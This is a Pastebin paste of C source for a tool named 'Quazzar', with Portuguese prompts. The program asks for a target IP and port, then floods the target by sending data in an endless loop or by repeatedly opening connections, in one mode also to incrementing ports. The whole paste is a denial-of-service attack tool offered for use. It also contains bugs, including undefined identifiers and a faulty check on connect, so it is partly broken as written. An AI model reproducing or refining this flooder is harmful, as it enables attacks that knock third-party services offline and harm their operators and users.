Guest User

Quazzar

a guest
Aug 4th, 2012
6
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.05 KB | None | 0 0
  1. #include <time.h>
  2. #include <math.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <malloc.h>
  6. #include <stdarg.h>
  7. #include <strings.h>
  8. #include <pthread.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <arpa/inet.h>
  12. #include <unistd.h>
  13.  
  14. #define PORTA porta
  15. #define IP ip
  16.  
  17.  
  18. char ip[13];
  19. unsigned short int porta;
  20.  
  21. int soquete,soquete2,soquete3;
  22. struct sockaddr_in alvo;
  23.  
  24. void criar_socket();
  25.  
  26. void thread();
  27. void thread2();
  28. void thread3();
  29.  
  30. void main(void)
  31. {
  32.     float want;
  33.     pthread_t threads[2];
  34.     printf("Quazzar %s\n",VERSION);
  35.     printf("|Digite a porta|\n");
  36.     printf("Sua escolha:");
  37.     scanf("%hd",&porta);
  38.     if(porta > 65535 || porta <= 0)
  39.     {
  40.         system("clear");
  41.         printf("Porta errada...\n");
  42.         sleep(1);
  43.         sair(1,6);
  44.     }
  45.     printf("|Digite o IP do alvo|\n");
  46.     printf("Sua escolha:");
  47.     scanf("%s",ip);
  48.     printf("|Digite o tipo de ataque:|\n");
  49.     printf("|1 = Volume de dados.|\n");
  50.     printf("|2 = Volume de conexoes.|\n");
  51.     printf("|2.5 = Volume de conexoes, portas diferentes.|\n");
  52.     scanf("%f",&want);
  53.     if(want != 1 && want != 2 && want != 2.5)
  54.     {
  55.         system("clear");
  56.         printf("Escolha uma das opcoes...\n");
  57.         sleep(1);
  58.         exit(1);
  59.    
  60.     }
  61.     criar_socket();
  62.     if(want == 1)
  63.     {
  64.         pthread_create(&(threads[1]), NULL, thread, NULL);
  65.     }
  66.     if(want == 2)
  67.     {
  68.         pthread_create(&(threads[1]), NULL, thread2, NULL);
  69.     }
  70.      if(want == 2.5)
  71.         pthread_create(&(threads[1]), NULL, thread3, NULL);
  72.      sleep(10);
  73. }
  74.  
  75. void thread()
  76. {
  77.     connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
  78.     if(connect <= 0)
  79.     {
  80.         printf("Porta provavelmente fechada...\n");
  81.         exit(1);
  82.     }
  83.     printf("Flooding...\n");
  84.     while(1)
  85.     {
  86.         send(soquete,"LASERED",strlen("LASERED"),4);
  87.         //printf("Thread 1: Flooding\n");
  88.     }
  89. }
  90. void thread2()
  91. {
  92.     printf("Flooding...\n");
  93.     while(1)
  94.     {
  95.         criar_socket(2);
  96.         if(connect(soquete2,(struct sockaddr *)&alvo,sizeof alvo) < 0)
  97.             {
  98.                 printf("Erro no socket\n");
  99.                 sleep(0);
  100.                 exit(1);
  101.             }
  102.         close(soquete2);
  103.     }
  104. }
  105.  
  106. void thread3()
  107. {
  108.     printf("Flooding...\n");
  109.     criar_socket();
  110.     while(1)
  111.     {
  112.         criar_socket(3);
  113.         printf("%d\n",porta);
  114.         if(connect(soquete3,(struct sockaddr *)&alvo,sizeof alvo) < 0)
  115.             {
  116.                 printf("Erro no socket\n");
  117.                 sleep(0);
  118.                 exit(1);
  119.             }
  120.         close(soquete3);
  121.     }
  122. }
  123.  
  124. void criar_socket(int var)
  125. {
  126.     if(var != 2&& var != 3)
  127.     {
  128.         soquete = socket(AF_INET,SOCK_STREAM,6);
  129.         alvo.sin_family = AF_INET;
  130.         alvo.sin_port = htons(PORTA);
  131.         alvo.sin_addr.s_addr = inet_addr(IP);
  132.         bzero(&(alvo.sin_zero),8);
  133.         if(soquete < 0)
  134.         {
  135.             printf("Erro na criacao do socket.\n");
  136.             exit(1);
  137.         }
  138.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  139.         if(soquete2 < 0)
  140.         {
  141.             printf("Erro na criacao do socket.\n");
  142.             exit(1);
  143.         }
  144.     }
  145.     if(var == 2)
  146.     {
  147.         soquete2 = socket(AF_INET,SOCK_STREAM,6);
  148.         if(soquete2 < 0)
  149.         {
  150.             printf("Erro na criacao do socket.\n");
  151.             exit(1);
  152.         }
  153.     }
  154.     if(var == 3)
  155.     {
  156.         alvo.sin_port = htons(porta + 1);
  157.         soquete3 = socket(AF_INET,SOCK_STREAM,6);
  158.         if(soquete3 < 0)
  159.         {
  160.             printf("Erro na criacao do socket.\n");
  161.             exit(1);
  162.         }
  163.     }
  164.        
  165. }
Advertisement
Add Comment
Please, Sign In to add comment